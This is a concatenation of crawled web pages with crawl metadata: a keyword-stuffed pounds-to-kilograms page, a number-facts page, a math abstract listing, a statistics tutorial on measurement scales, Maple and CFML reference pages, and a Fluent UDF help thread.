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http://zimbabweelection.com/forum/exz0b3k.php?590088=lbs-to-kg | [
"A pound is unit of mass. 100 KG in Pounds = 220.46 Lbs Convert Stone To Kg - Easy Weight Converter This Pounds … A kilogram is a unit of mass. Lb stands for a pound. lbs to kg is a pound to kg weight converter. Popular Weight And Mass Unit Conversions 1 lb = 0.45359237 kg. stones and pounds to kilograms. 1 pounds to kg = 0.45359 kg. symbols, abbreviations, or full names for units of length, It is used in the imperial system & united state customary systems. A gram is defined as one thousandth of a kilogram. 1 lbs = 0.45359237 kg 1 kg = 2.2046226218 lbs. The kilogram or kilogramme, (symbol: kg) is the SI base unit of mass. Popular Weight And Mass Unit Conversions Kg stands for a kilogram. You can use this web site if you get confused about the units of weight (stones and pounds). La livre est une unité de masse valant exactement 0,45359237 kilogramme. Use these conversion charts to quickly look up common weight calculations for pounds and stone to kilograms. Example: Convert 10 lbs to kg? 1 lbs = 0.45359237 kg 1 kg = 2.2046226218 lbs. Do not use calculations for anything where loss of life, money, property, etc could result from inaccurate calculations. pounds to keg The pound (abbreviation: lb) is a unit of mass or weight in a number of different systems, including English units, Imperial units, and United States customary units. Convert English or US weight units to metric units. Please enable Javascript Examples include mm, Note that rounding errors may occur, so always check the results. Infographic charts are Use these conversion charts to quickly look up common weight … Type in unit kg 1 pound (lb) is equal to 0.45359237 kilograms (kg). inch, 100 kg, US fluid ounce, 6'3\", 10 stone 4, cubic cm, conversion calculator for all types of measurement units. Simply use our calculator above, or apply the formula to change the length 10 lbs to kg. One kilogram (normally abbreviated to ‘Kg’) is almost exactly equal to the mass of one litre of water. pounds to myriagram Cette unité est en cours dans les pays anglo-saxons. 1 pound (lb) is equal to 0.45359237 kilograms (kg). All rights reserved. Volume to (Weight) Mass Converter for Recipes, Weight (Mass) to Volume to Converter for Recipes. pounds to kwan How to convert Pounds to Kilograms. This converter can also be used when scales only display in stones (st) and you want to know how many kilograms (or kilos) you are. 20 pounds to kg = 9.07185 kg. The definition of the international pound was agreed by the United States and countries of the Commonwealth of Nations in 1958. conversion calculator for all types of measurement units. You can do the reverse unit conversion from Advertisements . 1 lbs is equal to 0.45359237 kilogram. Note that rounding errors may occur, so always check the results. Converting 10 lb to kg is easy. For All Type of Online Calculator & Metric Conversions. We know that 1 lb = 0.45359237 kg; 1 kg= 2.2046226218 lbs. to use the unit converter. 89 lbs = 40.36972093 kg 99 lbs = 44.90564463 kg 109 lbs = 49.44156833 kg 119 lbs = 53.97749203 kg 129 lbs = 58.51341573 kg 139 lbs = 63.04933943 kg 149 lbs = 67.58526313 kg 159 lbs = 72.12118683 kg 169 lbs = 76.65711053 kg 179 lbs = 81.19303423 kg 189 lbs = 85.72895793 kg 199 lbs = 90.26488163 kg 209 lbs = 94.80080533 kg 219 lbs = 99.33672903 kg 229 lbs = 103.87265273 kg 239 lbs … pounds or as English units, currency, and other data. Note that rounding errors may occur, so always check the results. Do a quick conversion: 1 lb/ft = 1.48816394 kg/m using the online calculator for metric conversions. How to Calculate Net Income (With Examples), How Long Will It Take To Save? It is a unit of mass & weight measuring unit. C'est communément parlant la masse d'un décimètre cube d’eau. kg/m to lb/ft, or enter any two units below: ConvertUnits.com provides an online Its size can vary from system to system. area, mass, pressure, and other types. The answer is 0.67196897675131. Pounds to Kilograms Chart. Stones and pounds to kilograms calculator. 10 lbs = __ kg How to Convert Pound to Kilogram. Convert 5 lb to kilograms: m (kg) = 5 lb × 0.45359237 = 2.268 kg Le kilogramme (aussi appelé kilo) est l'unité de mesure de masse du système international. inch, 100 kg, US fluid ounce, 6'3\", 10 stone 4, cubic cm, Check the chart for more details. It is a unit of mass in Standard International System. This converter can also be used when scales only display in stones (st) and you want to know how many kilograms (or kilos) you are. One kg of weight is approximately equal to 2.2046226218 lbs. the symbolic representation of pound is \"lb\". Concessionnaire exclusif XEROX sur les secteurs de la Charente Maritime, de la Gironde et des Deux Sèvres, le Groupe LBS commercialise auprès d’une clientèle de professionnels, l’ensemble des solutions d’impression numérique de la gamme XEROX, ainsi qu’une sélection de solutions de gestion documentaire et de dématérialisation. An avoirdupois pound is equal to 16 avoirdupois ounces and to exactly 7,000 grains. Please enable Javascript stones and lb to kg converter. All information in this site is provided “as is”, with no guarantee of completeness, accuracy, timeliness or of the results obtained from the use of this information. Type in your own numbers in the form to convert the units! pounds to drachme liable for any damages or monetary losses arising out of or in connection with the use of it. 1 lb = 0.45359237 kg. While every effort is made to ensure the accuracy of the information provided on this website, neither this website nor its authors are responsible for any errors or omissions, or for the results obtained from the use of this information."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7400561,"math_prob":0.9767975,"size":5670,"snap":"2021-21-2021-25","text_gpt3_token_len":1491,"char_repetition_ratio":0.13748676,"word_repetition_ratio":0.14343435,"special_character_ratio":0.29541445,"punctuation_ratio":0.13385147,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9624018,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-13T10:59:25Z\",\"WARC-Record-ID\":\"<urn:uuid:9dd61f86-fa7b-43f7-a001-f41dcbc074c8>\",\"Content-Length\":\"18525\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:889914e5-dce5-4b5f-a518-c883c3e5b773>\",\"WARC-Concurrent-To\":\"<urn:uuid:23ebf908-9c26-4d70-a083-58a2337c668b>\",\"WARC-IP-Address\":\"172.67.191.244\",\"WARC-Target-URI\":\"http://zimbabweelection.com/forum/exz0b3k.php?590088=lbs-to-kg\",\"WARC-Payload-Digest\":\"sha1:PF2OEPF5HBOUKZ5CF5TKUQNPRZ6NN65G\",\"WARC-Block-Digest\":\"sha1:QNUIKS4RY4GQH3OXVOF4FKXVTDUGBG2D\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623487608702.10_warc_CC-MAIN-20210613100830-20210613130830-00086.warc.gz\"}"} |
https://metanumbers.com/21374130 | [
"## 21374130\n\n21,374,130 (twenty-one million three hundred seventy-four thousand one hundred thirty) is an even eight-digits composite number following 21374129 and preceding 21374131. In scientific notation, it is written as 2.137413 × 107. The sum of its digits is 21. It has a total of 5 prime factors and 32 positive divisors. There are 5,451,776 positive integers (up to 21374130) that are relatively prime to 21374130.\n\n## Basic properties\n\n• Is Prime? No\n• Number parity Even\n• Number length 8\n• Sum of Digits 21\n• Digital Root 3\n\n## Name\n\nShort name 21 million 374 thousand 130 twenty-one million three hundred seventy-four thousand one hundred thirty\n\n## Notation\n\nScientific notation 2.137413 × 107 21.37413 × 106\n\n## Prime Factorization of 21374130\n\nPrime Factorization 2 × 3 × 5 × 23 × 30977\n\nComposite number\nDistinct Factors Total Factors Radical ω(n) 5 Total number of distinct prime factors Ω(n) 5 Total number of prime factors rad(n) 21374130 Product of the distinct prime numbers λ(n) -1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) -1 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 21,374,130 is 2 × 3 × 5 × 23 × 30977. Since it has a total of 5 prime factors, 21,374,130 is a composite number.\n\n## Divisors of 21374130\n\n32 divisors\n\n Even divisors 16 16 8 8\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 32 Total number of the positive divisors of n σ(n) 5.353e+07 Sum of all the positive divisors of n s(n) 3.21559e+07 Sum of the proper positive divisors of n A(n) 1.67281e+06 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 4623.22 Returns the nth root of the product of n divisors H(n) 12.7774 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 21,374,130 can be divided by 32 positive divisors (out of which 16 are even, and 16 are odd). The sum of these divisors (counting 21,374,130) is 53,529,984, the average is 1,672,812.\n\n## Other Arithmetic Functions (n = 21374130)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 5451776 Total number of positive integers not greater than n that are coprime to n λ(n) 30976 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 1349985 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares\n\nThere are 5,451,776 positive integers (less than 21,374,130) that are coprime with 21,374,130. And there are approximately 1,349,985 prime numbers less than or equal to 21,374,130.\n\n## Divisibility of 21374130\n\n m n mod m 2 3 4 5 6 7 8 9 0 0 2 0 0 1 2 3\n\nThe number 21,374,130 is divisible by 2, 3, 5 and 6.\n\n• Arithmetic\n• Abundant\n\n• Polite\n\n• Square Free\n\n## Base conversion (21374130)\n\nBase System Value\n2 Binary 1010001100010010010110010\n3 Ternary 1111012220210110\n4 Quaternary 1101202102302\n5 Quinary 20432433010\n6 Senary 2042042150\n8 Octal 121422262\n10 Decimal 21374130\n12 Duodecimal 71a9356\n20 Vigesimal 6dbf6a\n36 Base36 cq4du\n\n## Basic calculations (n = 21374130)\n\n### Multiplication\n\nn×i\n n×2 42748260 64122390 85496520 106870650\n\n### Division\n\nni\n n⁄2 1.06871e+07 7.12471e+06 5.34353e+06 4.27483e+06\n\n### Exponentiation\n\nni\n n2 456853433256900 9764844673379303997000 208715059478616782941397610000 4461102814253687338771214897829300000\n\n### Nth Root\n\ni√n\n 2√n 4623.22 277.521 67.9942 29.24\n\n## 21374130 as geometric shapes\n\n### Circle\n\n Diameter 4.27483e+07 1.34298e+08 1.43525e+15\n\n### Sphere\n\n Volume 4.09029e+22 5.74099e+15 1.34298e+08\n\n### Square\n\nLength = n\n Perimeter 8.54965e+07 4.56853e+14 3.02276e+07\n\n### Cube\n\nLength = n\n Surface area 2.74112e+15 9.76484e+21 3.70211e+07\n\n### Equilateral Triangle\n\nLength = n\n Perimeter 6.41224e+07 1.97823e+14 1.85105e+07\n\n### Triangular Pyramid\n\nLength = n\n Surface area 7.91293e+14 1.1508e+21 1.74519e+07\n\n## Cryptographic Hash Functions\n\nmd5 56fbdce48d5b6e0e16256fdfad2ef7b0 b9399bf1602ac081a312771d44ebc644e5a02394 25e8c7221bc6968640b13a3babd6d197cc90e15872ac96f42dcf34636b91f0ac 6bde0db913d4afbb467b48ee1fa4ed27f87ae8714a6e61d0970fbd07c93c280d03fda64cc7f9e1e845c5cb52c8f95010e04d94dc23ac983181680fba1873d7fa 81556d3c3ea6e3a97776c92e5543e9f219142bc3"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.61427665,"math_prob":0.97990847,"size":4870,"snap":"2020-34-2020-40","text_gpt3_token_len":1747,"char_repetition_ratio":0.12042746,"word_repetition_ratio":0.047687862,"special_character_ratio":0.4794661,"punctuation_ratio":0.09178744,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9950226,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-27T01:04:32Z\",\"WARC-Record-ID\":\"<urn:uuid:02befe83-175f-44c7-841e-9a43cbf8daba>\",\"Content-Length\":\"49065\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:bc78a82e-7d7c-4b82-94e5-4633ca8220b7>\",\"WARC-Concurrent-To\":\"<urn:uuid:2d3556fc-4023-463f-bd53-80f54a11351f>\",\"WARC-IP-Address\":\"46.105.53.190\",\"WARC-Target-URI\":\"https://metanumbers.com/21374130\",\"WARC-Payload-Digest\":\"sha1:4QEDB2H5ZYGUCWNXP644YWTQMS3L4NEY\",\"WARC-Block-Digest\":\"sha1:GSQAQQT7CIJO2BJUN77WNTZYC5F3OLEL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400249545.55_warc_CC-MAIN-20200926231818-20200927021818-00324.warc.gz\"}"} |
https://eudml.org/subject/MSC/15A23 | [
"Page 1 Next\n\nDisplaying 1 – 20 of 124\n\nShowing per page\n\nA basic decomposition result related to the notion of the rank of a matrix and applications.\n\nAnalele Ştiinţifice ale Universităţii “Ovidius\" Constanţa. Seria: Matematică\n\nA matrix-polynomial structure in a finite-dimensional vector space.\n\nSibirskij Matematicheskij Zhurnal\n\nA new decomposition for square matrices.\n\nELA. The Electronic Journal of Linear Algebra [electronic only]\n\nA new family of companion forms of polynomial matrices.\n\nELA. The Electronic Journal of Linear Algebra [electronic only]\n\nA note on the cp-rank of matrices generated by Soules matrices.\n\nELA. The Electronic Journal of Linear Algebra [electronic only]\n\nA propos de l’algorithme $QZ$\n\nESAIM: Mathematical Modelling and Numerical Analysis - Modélisation Mathématique et Analyse Numérique\n\nA simple cocyclic Jacket matrices.\n\nMathematical Problems in Engineering\n\nA simple proof of polar decomposition in pseudo-Euclidean geometry\n\nFundamenta Mathematicae\n\nWe give a simple direct proof of the polar decomposition for separated linear maps in pseudo-Euclidean geometry.\n\nA study on new right/left inverses of nonsquare polynomial matrices\n\nInternational Journal of Applied Mathematics and Computer Science\n\nThis paper presents several new results on the inversion of full normal rank nonsquare polynomial matrices. New analytical right/left inverses of polynomial matrices are introduced, including the so-called τ-inverses, σ-inverses and, in particular, S-inverses, the latter providing the most general tool for the design of various polynomial matrix inverses. The applicationoriented problem of selecting stable inverses is also solved. Applications in inverse-model control, in particular robust minimum...\n\nA transvection decomposition in GL(n,2)\n\nColloquium Mathematicae\n\nAn algorithm is given to decompose an automorphism of a finite vector space over ℤ₂ into a product of transvections. The procedure uses partitions of the indexing set of a redundant base. With respect to tents, i.e. finite ℤ₂-representations generated by a redundant base, this is a decomposition into base changes.\n\nAlgebraic theory of fast mixed-radix transforms. I. Generalized Kronecker product of matrices\n\nArchivum Mathematicum\n\nAlgebraic theory of fast mixed-radix transforms. II. Computational complexity and applications\n\nArchivum Mathematicum\n\nAlgorithm of $J$-factorization of rational matrices with zeros and poles on the imaginary axis.\n\nInternational Journal of Mathematics and Mathematical Sciences\n\nAlternating projected Barzilai-Borwein methods for nonnegative matrix factorization.\n\nETNA. Electronic Transactions on Numerical Analysis [electronic only]\n\nAn Alternative Givens Ordering.\n\nNumerische Mathematik\n\nAn analysis of GCD and LCM matrices via the $LD{L}^{T}$-factorization.\n\nELA. The Electronic Journal of Linear Algebra [electronic only]\n\nAn approach based on matrix polynomials for linear systems of partial differential equations\n\nSpecial Matrices\n\nIn this paper, an approach based on matrix polynomials is introduced for solving linear systems of partial differential equations. The main feature of the proposed method is the computation of the Smith canonical form of the assigned matrix polynomial to the linear system of PDEs, which leads to a reduced system. It will be shown that the reduced one is an independent system of PDEs having only one unknown in each equation. A comparison of the results for several test problems reveals that the method...\n\nAn Efficient Method for Calculating Smoothing Splines Using Orthogonal Transformations.\n\nNumerische Mathematik\n\nAn explicit factorization of totally positive generalized Vandermonde matrices avoiding Schur functions.\n\nApplied Mathematics E-Notes [electronic only]\n\nAn improved characterisation of the interior of the completely positive cone.\n\nELA. The Electronic Journal of Linear Algebra [electronic only]\n\nPage 1 Next"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.91292125,"math_prob":0.88190955,"size":1536,"snap":"2019-26-2019-30","text_gpt3_token_len":297,"char_repetition_ratio":0.122715406,"word_repetition_ratio":0.0,"special_character_ratio":0.17708333,"punctuation_ratio":0.10583942,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99531955,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-27T02:18:30Z\",\"WARC-Record-ID\":\"<urn:uuid:e416b810-5dca-403c-b458-8ebce176923b>\",\"Content-Length\":\"52871\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c4905b44-f150-40b2-8e0c-220aeed12e28>\",\"WARC-Concurrent-To\":\"<urn:uuid:fd528721-8172-412e-b6db-eb6e6f1a7b11>\",\"WARC-IP-Address\":\"213.135.60.110\",\"WARC-Target-URI\":\"https://eudml.org/subject/MSC/15A23\",\"WARC-Payload-Digest\":\"sha1:YURZV3WTR7HVWT24N3A5ZPE2QK7AST3X\",\"WARC-Block-Digest\":\"sha1:KTBETRQ4ZCQW3XMS4WBKJIEIGFWLWD4H\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560628000610.35_warc_CC-MAIN-20190627015143-20190627041143-00195.warc.gz\"}"} |
https://www.careerstoday.in/maths/scales-of-measurement | [
"# Scales of Measurement\n\nIn Statistics, the variables or numbers are defined and categorized using different scales of measurements. Each level of measurement scale has specific properties that determine the various use of statistical analysis.\n\nWhat is the Scale?\n\nA scale is a device or an object used to measure or quantify any event or another object.\n\n## Levels of Measurements\n\nThere are four different scales of measurement. The data can be defined as being one of the four scales. The four types of scales are:\n\n• Nominal Scale\n• Ordinal Scale\n• Interval Scale\n• Ratio Scale",
null,
"### Nominal Scale\n\nA nominal scale is the 1st level of measurement scale in which the numbers serve as “tags” or “labels” to classify or identify the objects. A nominal scale usually deals with the non-numeric variables or the numbers that do not have any value.\n\nCharacteristics of Nominal Scale:\n\n• A nominal scale variable is classified into two or more categories. In this measurement mechanism, the answer should fall into either of the classes.\n• It is qualitative. The numbers are used here to identify the objects.\n• The numbers don’t define the object characteristics. The only permissible aspect of numbers in the nominal scale is “counting.”\n\nExample:\n\nAn example of a nominal scale measurement is given below:\n\nM- Male\n\nF- Female\n\nHere, the variables are used as tags, and the answer to this question should be either M or F.\n\n### Ordinal Scale\n\nThe ordinal scale is the 2nd level of measurement that reports the ordering and ranking of data without establishing the degree of variation between them. Ordinal represents the “order.” Ordinal data is known as qualitative data or categorical data. It can be grouped, named and also ranked.\n\nCharacteristics of the Ordinal Scale:\n\n• The ordinal scale shows the relative ranking of the variables\n• It identifies and describes the magnitude of a variable\n• Along with the information provided by the nominal scale, ordinal scales give the rankings of those variables\n• The interval properties are not known\n• The surveyors can quickly analyze the degree of agreement concerning the identified order of variables\n\nExample:\n\n• Ranking of school students – 1st, 2nd, 3rd, etc\n• Ratings in restaurants\n• Evaluating the frequency of occurrences\n• Very often\n• Often\n• Not often\n• Not at all\n• Assessing the degree of agreement\n• Totally agree\n• Agree\n• Neutral\n• Disagree\n• Totally disagree\n\n### Interval Scale\n\nThe interval scale is the 3rd level of measurement scale. It is defined as a quantitative measurement scale in which the difference between the two variables is meaningful. In other words, the variables are measured in an exact manner, not as in a relative way in which the presence of zero is arbitrary.\n\nCharacteristics of Interval Scale:\n\n• The interval scale is quantitative as it can quantify the difference between the values\n• It allows calculating the mean and median of the variables\n• To understand the difference between the variables, you can subtract the values between the variables\n• The interval scale is the preferred scale in Statistics as it helps to assign any numerical values to arbitrary assessment such as feelings, calendar types, etc.\n\nExample:\n\n• Likert Scale\n• Net Promoter Score(NPS)\n• Bipolar Matrix Table\n\n### Ratio Scale\n\nThe ratio scale is the 4th level of measurement scale, which is quantitative. It is a type of variable measurement scale. It allows researchers to compare the differences or intervals. The ratio scale has a unique feature. It possesses the character of the origin or zero points.\n\nCharacteristics of Ratio Scale:\n\n• Ratio scale has a feature of absolute zero\n• It doesn’t have negative numbers, because of its zero-point feature\n• It affords unique opportunities for statistical analysis. The variables can be orderly added, subtracted, multiplied, divided. Mean, median, and mode can be calculated using the ratio scale.\n• Ratio scale has unique and useful properties. One such feature is that it allows unit conversions like kilogram – calories, gram – calories, etc.\n\nExample:\n\nAn example of a ratio scale is:\n\nWhat is your weight in Kgs?\n\n• Less than 55 kgs\n• 55 – 75 kgs\n• 76 – 85 kgs\n• 86 – 95 kgs\n• More than 95 kgs"
]
| [
null,
"https://www.careerstoday.in/images/maths/scales-of-measurement1.jpg",
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https://fr.maplesoft.com/support/help/view.aspx?path=Magma%2FIsSquag | [
"",
null,
"IsSquag - Maple Help\n\nMagma\n\n IsSquag\n test whether a magma is a squag",
null,
"Calling Sequence IsSquag( m )",
null,
"Parameters\n\n m - Array representing the Cayley table of a finite magma",
null,
"Description\n\n • A squag is an idempotent Steiner magma.\n • The IsSquag command returns true if the given magma is a squag. It returns false otherwise.",
null,
"Examples\n\n > $\\mathrm{with}\\left(\\mathrm{Magma}\\right):$\n > $m≔⟨⟨⟨1|3|2⟩,⟨3|2|1⟩,⟨2|1|3⟩⟩⟩$\n ${m}{≔}\\left[\\begin{array}{ccc}{1}& {3}& {2}\\\\ {3}& {2}& {1}\\\\ {2}& {1}& {3}\\end{array}\\right]$ (1)\n > $\\mathrm{IsSquag}\\left(m\\right)$\n ${\\mathrm{true}}$ (2)\n > $m≔⟨⟨⟨1|2|3⟩,⟨2|3|3⟩,⟨3|1|2⟩⟩⟩$\n ${m}{≔}\\left[\\begin{array}{ccc}{1}& {2}& {3}\\\\ {2}& {3}& {3}\\\\ {3}& {1}& {2}\\end{array}\\right]$ (3)\n > $\\mathrm{IsSquag}\\left(m\\right)$\n ${\\mathrm{false}}$ (4)",
null,
"Compatibility\n\n • The Magma[IsSquag] command was introduced in Maple 15."
]
| [
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"https://bat.bing.com/action/0",
null,
"https://fr.maplesoft.com/support/help/arrow_down.gif",
null,
"https://fr.maplesoft.com/support/help/arrow_down.gif",
null,
"https://fr.maplesoft.com/support/help/arrow_down.gif",
null,
"https://fr.maplesoft.com/support/help/arrow_down.gif",
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"https://fr.maplesoft.com/support/help/arrow_down.gif",
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https://cfdocs.org/bitor | [
"# bitOr\n\nPerforms a bitwise logical OR operation.\n\n`bitOr(number1, number2)` `→ returns numeric`\n\nInteger\n\nInteger\n\n## Examples Sample code invoking the bitOr function\n\nUses the bitOr function to perform the logical OR operation on each pair of the corresponding bits\n\n``bitOr(5,3)``\n\nExpected Result: 7\n\nFork me on GitHub"
]
| [
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.54059064,"math_prob":0.95248365,"size":253,"snap":"2023-40-2023-50","text_gpt3_token_len":63,"char_repetition_ratio":0.14056225,"word_repetition_ratio":0.060606062,"special_character_ratio":0.22134387,"punctuation_ratio":0.11363637,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95029217,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-21T16:50:36Z\",\"WARC-Record-ID\":\"<urn:uuid:f781e1e2-69c8-4a5d-bf12-f62cc24656da>\",\"Content-Length\":\"15577\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ec67610e-860c-4aa7-af33-7b3c558c851c>\",\"WARC-Concurrent-To\":\"<urn:uuid:324e8240-b739-46b8-b7f5-daf74364c23b>\",\"WARC-IP-Address\":\"172.67.137.147\",\"WARC-Target-URI\":\"https://cfdocs.org/bitor\",\"WARC-Payload-Digest\":\"sha1:QLWRRZIGG4S5VLUVXALAUJW67JI64YUS\",\"WARC-Block-Digest\":\"sha1:BWNGDB5AZHY6YKK6MRI2IGP6WD5J4DJ4\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506028.36_warc_CC-MAIN-20230921141907-20230921171907-00781.warc.gz\"}"} |
https://www.cfd-online.com/Forums/fluent-udf/234480-variable-surface-tension-modelling-udf-modifications-csf.html | [
"# Variable Surface Tension Modelling UDF (Modifications to CSF)\n\n Register Blogs Members List Search Today's Posts Mark Forums Read",
null,
"March 8, 2021, 15:18",
null,
"Variable Surface Tension Modelling UDF (Modifications to CSF)\n#1\nNew Member\n\nVenkat Ganesh\nJoin Date: May 2020\nLocation: Cincinnati, Ohio\nPosts: 15\nRep Power: 3",
null,
"Hey,\nI'm new to UDFs in FLUENT and am writing a UDF involving a modification in the interface curvature calculation part of the CSF model to smoothen it.\n\nSo far, I've understood that C_VOF_G(c,t) can calculate gradient of volume fraction and NV_MAG(C_VOF_G(c,t)) can calculate magnitude of volume fraction. For the divergence part, will I have to save the unit normal in a UDS (C_UDSI) using a cell loop, and assign C_USDI_G to the interface curvature \"k\" to directly access the gradient of the scalar?\n\nI would also like to modify the property determination method for the VOF model as indicated in the picture. How would I be implementing this change on FLUENT?\n\nAlso where would I be hooking both these UDFs exactly?\nAttached Images",
null,
"Modified VOF.JPG (56.6 KB, 13 views)",
null,
"",
null,
"",
null,
"March 23, 2021, 05:28",
null,
"#2\nNew Member\n\nVenkat Ganesh\nJoin Date: May 2020\nLocation: Cincinnati, Ohio\nPosts: 15\nRep Power: 3",
null,
"I've written a UDF for the surface tension force which I'm sharing below. I'm getting a bunch of errors that I've looked around for but am unable to resolve. Any help would be appreciated.\n\nCode:\n```/***********************************************************************\nUDF for defining surface tension source term and interface smoothening\n************************************************************************/\n\n#include \"udf.h\"\n\nDEFINE_SOURCE(surface_tension_force,c,t,dS,eqn)\n{\n\n/* Note that t is the mixture thread passed by the solver in this case */\n\nDomain *d;\n\nreal source;\nreal k;\t\t\t\t\t\t/* interface curvature */\nreal ncap;\t\t\t\t\t/* unit normal */\nreal n;\t\t\t\t\t\t/* a function of the phase fraction */\nreal sigma = 0.072;\t\t\t\t/* surface tension coefficient */\nreal alphacell = C_UDMI(c,t,1);\t\t\t/* calculates the area averaged volume fraction of individual cell */\nreal rho1 = 1.225;\t\t\t\t/* Density of air */\nreal rho2 = 1;\t\t\t\t\t/* Density of non-Newtonian fluid */\n\nC_UDSI(c,t,0) = alphacell;\t\t\t/* Fill UDS with the alphacell values to get gradient value */\n\nn = C_UDSI_G(c,t,0);\t\t\t\t/* Get value of n as the gradient of alphacell (phase fraction) */\nncap = n/NV_MAG(n);\t\t\t\t/* calculate unit vector */\n\nC_UDSI(c,t,1) = ncap;\t\t\t\t/* Fill another UDS with the variable ncap */\n\nk = C_UDSI_G(c,t,1);\t\t\t\t/* Get value of k as the gradient of ncap */\n\nsource = sigma*k*C_R(c,t)*n/(0.5*(rho1+rho2));\t/* Calculate the surface tension force */\ndS[eqn] = 0;\nreturn source;\n}```\nQuote:\n Copied \\clusterfsnew.ceas1.uc.edu\\students\\ganeshvt\\deskt op\\Ansys_Simulations\\Bubble_Setup_files\\dp0\\FFF\\Fl uent/\\clusterfsnew.ceas1.uc.edu\\students\\ganeshvt\\deskt op\\Ansys_Simulations\\Bubble_Setup_files\\dp0\\FFF\\Fl uent\\Surfacetension_Sourceterm.c to libudf\\src Creating user_nt.udf file for 2ddp_host ... (system \"copy \"C:\\PROGRA~1\\ANSYSI~1\\v202\\fluent\"\\fluent20.2.0\\sr c\\udf\\makefile_nt.udf \"libudf\\win64\\2ddp_host\\makefile\" \") 1 file(s) copied. (chdir \"libudf\")(chdir \"win64\\2ddp_host\")# Generating ud_io1.h Surfacetension_Sourceterm.c ..\\..\\src\\Surfacetension_Sourceterm.c(25): error C2440: '=': cannot convert from 'real *' to 'real' ..\\..\\src\\Surfacetension_Sourceterm.c(26): error C2109: subscript requires array or pointer type ..\\..\\src\\Surfacetension_Sourceterm.c(26): error C2198: 'sqrt': too few arguments for call ..\\..\\src\\Surfacetension_Sourceterm.c(30): error C2440: '=': cannot convert from 'real *' to 'real' Creating user_nt.udf file for 2ddp_node ... (system \"copy \"C:\\PROGRA~1\\ANSYSI~1\\v202\\fluent\"\\fluent20.2.0\\sr c\\udf\\makefile_nt.udf \"libudf\\win64\\2ddp_node\\makefile\" \") 1 file(s) copied. (chdir \"libudf\")(chdir \"win64\\2ddp_node\")# Generating ud_io1.h Surfacetension_Sourceterm.c ..\\..\\src\\Surfacetension_Sourceterm.c(25): error C2440: '=': cannot convert from 'real *' to 'real' ..\\..\\src\\Surfacetension_Sourceterm.c(26): error C2109: subscript requires array or pointer type ..\\..\\src\\Surfacetension_Sourceterm.c(26): error C2198: 'sqrt': too few arguments for call ..\\..\\src\\Surfacetension_Sourceterm.c(30): error C2440: '=': cannot convert from 'real *' to 'real' Done.",
null,
"",
null,
"",
null,
"March 23, 2021, 11:40",
null,
"#3 Senior Member Join Date: Nov 2013 Posts: 1,781 Rep Power: 22",
null,
"Ignoring the errors: your concept can not work. You fill UDS, and want to get the gradient at the same time. How should that work after the first cell? How can Fluent calculate a gradient if only one cell has a value? I think you have to do this in three steps : 1. Fill UDS0 completely. 2.calculate UDS 1 completely as gradient. 3.calculate the source completely as gradient of UDS1. Even then, I'm not sure if this is the right approach, but I don't have enough time to think a better one. __________________ \"The UDF library you are trying to load (libudf) is not compiled for parallel use on the current platform\" is NOT the error after compiling. It is the error after loading. To see compiler errors, look at your screen after you click \"build\".",
null,
"",
null,
"",
null,
"March 23, 2021, 13:35",
null,
"#4\nNew Member\n\nVenkat Ganesh\nJoin Date: May 2020\nLocation: Cincinnati, Ohio\nPosts: 15\nRep Power: 3",
null,
"Quote:\n Originally Posted by pakk",
null,
"Ignoring the errors: your concept can not work. You fill UDS, and want to get the gradient at the same time. How should that work after the first cell? How can Fluent calculate a gradient if only one cell has a value? I think you have to do this in three steps : 1. Fill UDS0 completely. 2.calculate UDS 1 completely as gradient. 3.calculate the source completely as gradient of UDS1. Even then, I'm not sure if this is the right approach, but I don't have enough time to think a better one.\nThanks. I understood the issue, and I have written loops to completely calculate the values for all the UDS, and calculate the source term on a per cell basis.\n\nHowever I'm still receiving the same errors and I'm not sure what they mean. I thought maybe it meant I can't store my UDS and UDS_G values in 'real' variables and also tried storing them in UDMs and not real variables like \"n, ncap and k\" as I've used below, but my errors remain the same irrespective of the approach.\n\nBelow are my code and errors. All errors pertain to the lines involving calculation of n, ncap and k. Please 